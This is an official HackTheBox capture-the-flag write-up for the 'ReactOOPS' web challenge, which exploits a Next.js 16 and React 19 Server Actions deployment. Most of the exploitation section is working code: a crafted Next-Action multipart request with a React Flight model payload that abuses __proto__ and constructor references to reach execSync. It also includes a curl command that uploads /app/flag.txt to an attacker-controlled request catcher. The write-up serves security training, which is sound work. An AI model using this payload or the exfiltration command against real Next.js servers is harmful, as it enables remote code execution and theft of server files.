



HACKTHEBOX



ReactOOPS

Date: 12nd December 2023

Prepared By: lordruk1e

Difficulty: Very Easy

Classification: Official

Synopsis

ReactOOPS is a very easy web challenge that requires identifying a vulnerable Next.js and React Server Components deployment, sending a crafted `Next-Action` multipart request, abusing React model resolution to execute server-side JavaScript, and exfiltrating the flag from the application container.

Description

The target is a public NexusAI landing page built with Next.js and React. Although the visible page is static marketing content, the deployed framework stack exposes a server action handling path that can be reached without authentication.

Skills Required

- Basic HTTP request crafting
- Familiarity with Next.js and React Server Components concepts
- Understanding of multipart form-data requests
- Basic Node.js command execution primitives

Skills Learned

- Identifying exposed Next.js Server Action handling
- Crafting React Flight model payloads in multipart requests
- Abusing model resolution to reach a JavaScript function constructor

- Executing Node.js child-process commands through a framework-level RCE path
- Exfiltrating server-side files through an outbound HTTP request

Solution

Enumeration

The release contains a minimal Next.js application. The package metadata shows a Next.js 16 deployment with React 19:

```
{
  "dependencies": {
    "next": "16.0.6",
    "react": "^19",
    "react-dom": "^19"
  }
}
```

The page source is a static `app/page.tsx` landing page and does not expose an application-specific form, API route, or authentication workflow. That makes the framework request handling itself the interesting attack surface.

The reference solver sends a direct `POST` request to `/` with two important headers:

```
headers = {
  "Next-Action": "x",
  "Content-Type": f"multipart/form-data; boundary={boundary}",
}
```

The `Next-Action` header causes the request to be processed as a Server Action request. The body is a crafted multipart payload containing React model references.

Exploitation

The payload creates two multipart fields. The first field contains a JSON object that manipulates the model resolution path through `__proto__`, `then`, and constructor references:

```

json.dumps(
  {
    "then": "$1: __proto__: then",
    "status": "resolved_model",
    "reason": -1,
    "value": json.dumps({
      "then": "$B1337"
    }),
    "_response": {
      "_prefix": f"{js_payload}",
      "_formData": {
        "get": "$1: constructor: constructor"
      }
    }
  }
)

```

The second field references the first model object:

```
"$@0"
```

The JavaScript payload is placed in `_prefix` and uses Node.js process internals to load `child_process`:

```
js_payload = f"process.mainModule.require('child_process').execSync('{CMD}');"

```

For local verification, a command such as `id` or `cat /app/flag.txt` can demonstrate server-side execution. The provided solver exfiltrates the flag by making the server upload `/app/flag.txt` to an attacker-controlled request catcher:

```
CMD = 'curl -X POST -F "file=@/app/flag.txt" https://<listener>.requestcatcher.com/'

```

The exploit flow is:

1. Build a random multipart boundary.
2. Place the React model payload in form field `0`.
3. Place the model reference string in form field `1`.
4. Send the request to `/` with the `Next-Action` header.
5. Receive the outbound request containing the flag file.

The final request is sent as:

```

r = requests.post(
    f"http://{host}:{port}",
    headers=headers,
    data=body,
    timeout=5,
)

```

When the payload is accepted, the server evaluates the injected JavaScript and executes the configured command in the application container.